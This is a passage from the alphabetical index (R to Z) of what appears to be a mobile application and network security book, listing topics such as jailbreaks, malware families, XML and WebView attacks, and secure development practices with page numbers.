Random Access Channel (RACH), 29
ransomware, 140
R-APDU (response), 239, 240
Redbrowser, 120
redirection URIs, 158–161
redirects, 163
Redsn0w app, 54–57
reflection-based attacks, 228–229
relay attacks, 249–253
remote jailbreak, 57–59
Remote Lock feature, 209
remote shell, 89
Remote Wipe feature, 209
replay attacks, 165, 250, 254–255
resource owner, 156
resource owner password credentials grant 

type, 160
resource server, 156
reverse engineering

Android apps, 203–204
iOS apps, 204–207

RFID tags, 86
Rhino JavaScript Bridges, 184–187
Rhode & Schwartz (R&S), 37
“rickrolling,” 145
risk model, 4–17, 7
risks. See also threats

app, 11–17
BYOD phenomenon, 17
external data storage, 110–112
fragmentation, 12–14
identifying, 212–213
improper spec implementation, 16
insecure code, 17

jailbroken phones, 215
mobile disk management, 17
on-device storage, 15–16, 223–226
physical, 9–10
sensitive data leakage, 14–15, 109–118
service, 10–11
weak authentication, 16

rogue base station attacks, 35–39
rogue femtocell attacks, 39–43
rogue mobile devices, 34–35
Roland, Michael, 250
rollback journals, 109
root exploits, 89–91, 179
Rosenberg, Dan, 15, 117
R&S (Rhode & Schwartz), 37
RTP streams, 43
Rubin, Joshua, 243
runtime environment integrity, 220

▼ ▼ SS
SACCH (Slow Associated Control 

Channel), 31
Safari browser, 63, 65, 74
salt, 246
SAML (Security Assertion Markup 

Language), 163–169
SAML assertion, 164
SAML threat model, 164–165
Samsung, 216
Samsung devices, 14, 91, 172
Samsung Exynos kernel exploit, 244
sandboxing

Android, 14–15
iOS platform, 51, 52, 63–64
Mozilla Rhino and, 186

SANS Top 25 bug list, 149
SAXParser class, 154
Schwenk, Jörg, 166
scope, 162
screen cache, 231
screenshots, 231
script kiddies, 213, 214. See also hackers
SD cards

considerations, 86, 117
data leakage, 110, 111
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JSON payload and, 186
microSD, 238
WebView injection and, 179

SDCCH (Standalone Dedicated Control 
Channel), 29, 31

SDCCH contention, 31
SDK. See Software Development Kit
SE (Secure Element), 16, 224
SE API, 242
SE payments, 238–242
Seas0nPass app, 57
secure communications, 221, 227
Secure Element. See SE
Secure Element Evaluation Kit (SEEK), 242
Secure Information Technology (SIT), 76
Secure JavaScript subsets, 223
secure on-device storage, 15–16
secure platform storage, 224–225
Secure Shell. See SSH
Secure Sockets Layer. See SSL
Secure Software Development Lifecycle 

(SSDLC), 218
security. See also risks; threats

Android. See Android security
app development, 211–233
app precautions, 78
best practices, 232
considerations, 78–79
developers and, 212
fundamentals, 5–8
guidelines, 218–232
iOS. See iOS security
McAfee Mobile Security, 78
mobile web browser, 169–187
passwords. See passwords
PINs. See PINs
risks. See risks
secure communications, 221, 227
traditional (plus), 221, 222–223
Web Application Security, 222
WebView, 169–187

Security Assertion Markup Language. See 
SAML

Security Checklist, 257–261
Security Engineering, 149
security hardware, 224

security patches
app patching attacks, 201–203
considerations, 12–13, 203
fragmentation and, 12–14
hackers and, 220–221
overview, 220–221

SEEK (Secure Element Evaluation Kit), 242
self-signed certificates, 201
sensitive data

data masking, 223
leakage of. See information leakage
OAuth and, 162
secure considerations, 224–225
storing externally, 110–112
storing on device, 110–112, 221, 223–226
tokenization, 223
types of, 223–224
WebView and, 227–228

sensor-based data, 217, 224
server certificates, 227
servers

authorization, 156
C&C, 136
MDM, 192, 195, 197–201
Nessus, 111–112
proxy, 95, 97–102
resource, 156

server-side vulnerabilities, 148
service provider (SP), 163
service risks, 10–11
session credentials, 14
session hijacking attacks, 165
session identifiers, 14
Session Initiation Protocol (SIP), 44
session timeout, 222–223
setShouldResolveExternalEntities 

method, 155
SHA-256 hash, 246
shared preferences, 117
shell users, 90–91
Short Message Peer-to-Peer (SMPP), 43
Short Message Service. See SMS
shouldInterceptRequest function, 

180–182
shouldOverrideUrlLoading 

function, 180
side-loading apps, 14
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Siegel, Mark, 33
signature exclusion attacks, 166–167
Signature permissions, 84
signature-level permissions, 84, 174
signatureOrSystem permissions, 84
signing certificate, 227
SIM cards, 238
SimpleSAMLphp, 168–169
Single Sign-On, 226
single sign-on (SSO), 163
SIP (Session Initiation Protocol), 44
SIT (Secure Information Technology), 76
skimming attacks, 253–254
Skype, 170–171
Skype app, 75, 170–171
Slow Associated Control Channel 

(SACCH), 31
Smali assembler, 203
SmartCard API, 242
smartcards

contactless, 238–243
emulation, 39, 86, 87, 249
Java Card, 239

SMPP (Short Message Peer-to-Peer), 43
SMS (Short Message Service), 30–33
SMS flooding attacks, 30–31
SMS messages

considerations, 43, 67, 88
DroidDream, 122
FakeToken, 134, 138
information leakage, 118
NickiSpy, 123, 124
overview, 30–32
premium, 236
Redbrowser, 120
SMSZombie, 128
USSD codes and, 171–172
Zitmo, 129–134

SMS Service Center (SMSC), 31
SMS spam, 141
SMSC (SMS Service Center), 31
SMSZombie malware, 125–128
SOAP-based web services, 163
Software Development Kit (SDK)

Android, 83, 87, 107
Facebook, 112–113
Native Development Kit, 83

Software Security, 149
software updates, 78
Somorovsky, Juraj, 166
SP (service provider), 163
specifications, 16, 239, 252
SP-Initiated Web Browser SSO profile, 163–164
Spitmo malware, 134
spoofing

caller ID, 33
GSM networks, 38–39, 40

Sprint, 216
SpyEye Trojan horse, 134
SQL injection attacks, 148, 225
SQLite databases

images in, 225
information leakage, 14, 109–110, 117
PIN data in, 246
SQL injection attacks, 225
third-party extensions, 225

Square mobile payment system, 238, 253–255
Square reader, 254
Square Register software, 253
SSDLC (Secure Software Development 

Lifecycle), 218
SSH (Secure Shell), 68
SSH daemons, 141
SSH default credentials, 65–68
SSL (Secure Sockets Layer), 68
SSL connections, 68
SSL stripping attacks, 227
SSL-protected endpoints, 43
SSLSocket class, 117
SSL/TLS connections, 221, 227
SSO (single sign-on), 163
SSP (Stack Smashing Protection), 230
Stack Smashing Protection (SSP), 230
stacks, 230
stakeholders, 6, 216, 218
Standalone Dedicated Control Channel. See 

SDCCH
statistics, 2
storage

Android devices, 86, 110–112, 226
external, 110–112
leakage via external storage, 110–112
NAND flash technology, 86
on-device, 15–16, 223–226
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physical, 7
secure, 15–16
of sensitive data, 110–112, 223–226

SuperOneClick tool, 90
Sutton, Willie, 10

▼ ▼ TT
Tags app, 105
TDM (time division multiplexing), 26
TDMA (time division multiple access), 26–27
tel URI scheme, 171–172
testing

apps, 232
considerations, 232
described, 264
penetration, 263–267

tethered device jailbreaks, 208
theft, 7, 155–156
thieves, 215
thin clients, 148
third-party application stores, 146
threat graph, 3, 4
threat modeling, 6–7, 212–218, 219
threats. See also risks

considerations, 6
device “owners” as, 215, 216
device theft, 7, 155–156
overview, 213–215
stakeholders, 216
users as, 215

Threats Report, 3
time division multiple access (TDMA), 26–27
time division multiplexing (TDM), 26
timeouts, 227
TLS (Transport Layer Security), 162
TLS/SSL, 221
TLS/SSL connections, 227
T-Mobile, 172, 237
token storage, 162
TokenGenerator app, 134
tokenization, 223
tokens

access, 158, 160, 162
bearer, 217, 224
expiration, 162

FakeToken malware, 134–140
storage, 162
TokenGenerator app, 134

toll fraud, 118
Top X bug, 149
Towns, Ashley, 141
traffic channels, 27
Transport Layer Security. See TLS
Trend Micro, 3
Trike, 212
Trojan horse apps, 7
trusted CA certificates, 95–97
Trusteer, 129, 133
try counter, 224
TV channels, 44

▼ ▼ UU
UDH (user data header), 31, 32
UDH reply-to hack, 32
UIApplicationDelegate, 175
UICC, 238, 242
UITextField class, 230
uiwebview cache, 228
UIWebView exploitation, 182–184
UIWebView interaction, 227–229
UIWebViewDelegate, 184
Um channel, 24, 26, 27–28, 34
uniform resource identifiers. See URIs
uniform resource locators. See URLs
universally unique identifiers (UUIDs), 

217, 224
Unix systems, 73, 181, 186
unstructured supplementary service data 

(USSD) codes, 171–172
updates, software, 78
URI scheme exploits, 169–176
URI scheme information disclosure, 114–116
URI schemes

abusing USSD codes, 171–172
abusing via Skype, 170–171
in Android, 172–174
custom, 169–176, 228–229, 230
exploiting, 169–176
in iOS, 175–176
URLs and, 172–176, 182
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URIs (uniform resource identifiers)
injection attacks, 228–229
redirection, 158–161

URL redirection attacks, 158–161
URLs (uniform resource locators)

custom URI schemes and, 172–176, 182
injection attacks, 228–229
logging, 93
web service, 149

USENET, 35, 37
user credentials, 227
user data header (UDH), 31, 32
user interface, 7
user-agent, 158
usernames, 217, 224
users

end, 6
shell, 90–91
targeting, 64, 215
as threats, 215
tricking, 146

USSD (unstructured supplementary service 
data) codes, 171–172

UUIDs (universally unique identifiers), 
217, 224

▼ ▼ VV
V8 JavaScript engine, 184
validation, 221, 227, 229
VeriFone, 238, 253
Verizon, 216, 237
virtual wallet, 224
viruses, 90, 93, 120, 139, 144
Visa payment applets, 242
voice calls, 26–27
voice mailboxes, 30
voicemail, 30, 33, 217, 224
Vordel Application Gateway, 11
vulnerable apps, 73–76

▼ ▼ WW
Walled Garden, 222
WAP (wireless access point), 68–69

WDSL (Web Services Description 
Language), 150

The Web Application Hacker’s Handbook, 149
Web Application Security, 222
web apps

custom URI scheme exploits, 169–176
JavaScript bridge exploits, 177–187
OWASP, 148–149
“ten most critical security risks,” 

148–149
threats to, 213–218
XML injection, 150–151

Web Browser SSO profile, 163–164
web browsers

Firefox, 91–94
Javagator, 184
man-in-the-browser attacks, 5, 128, 214
Redbrowser, 120
Safari, 63, 65, 74
security and, 169–187
URI data disclosure, 116
WebView and, 169–187

web proxy, 95, 97–102
web service endpoints, 149, 150
web service requests, 150
web service URLs, 149
web services. See also mobile services

attacks on, 149–155
authentication/authorization, 155–169
custom URI scheme exploits, 169–176
general security guidelines, 148–149
JavaScript Bridges. See JavaScript 

Bridges
mobile web browser/WebView 

security, 169–187
OAuth. See OAuth entries
SAML frameworks, 163–169
security guidelines, 148–149
SOAP-based, 163
URI schemes. See URI schemes
XML entity expansion attacks, 152–154
XML entity reference attacks, 154–155
XML injection attacks, 150–151
XML-based, 149–155

Web Services Description Language. See 
WSDL

WebKit, 117
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WebView, 169–187
addJavascriptInterface 

function, 177–180
app interactions, 227–229
cache, 117, 221, 227–228
credential stealing, 158
information leakage, 117
JavaScript Bridge exploitation, 180–184
JavaScript bridge interaction, 228–229
sensitive data and, 227–228
shouldInterceptRequest 

function, 180–182
stealing credentials, 158

WebView cookies database, 228
WebView injection, 177–180
WebView objects, 177
WebView/mobile web browser security, 

169–187
whitelisting, 151
Wi-Fi proxy settings, 87–88
Wi-Fi vulnerabilities, 213–214
Windows Identity Foundation, 168
Windows systems, 145
wireless access point (WAP), 68–69
wireless networks

data leakage and, 113
malicious, 78
untrusted, 70

worms
Cabir, 120
duh, 141
iKee, 65–68, 141–144

Writing Secure Code, 149
WS-Attacks project, 149
WSDL files, 150

▼ ▼ XX
XCode, 206
XCon app, 202–203
XDA developers, 90, 243
XDA Developers website, 243
xda-developers forum, 90
XML documents, 150
XML DoS attacks, 165
XML encryption, 165
XML entity expansion attacks, 152–154
XML entity reference attacks, 154–155
XML files, 192
XML injection attacks, 150–151
XML parsers, 151–154
.XML Signature standard, 165
XML signature wrapping (XSW) attacks, 

165–169
XML signatures, 165–169
XML-based web services, 149–155

assessing security of, 149–150
attacks against, 149–155

XPath queries, 151
XSW (XML signature wrapping) attacks, 

165–169
X:Y coordinate buffers, 229

▼ ▼ ZZ
Zertificat, 133
Zeus malware, 128, 129
Zitmo malware, 128–134
Zovi, Dino Dai, 52
Zvelo, 243
Zvelo study, 248
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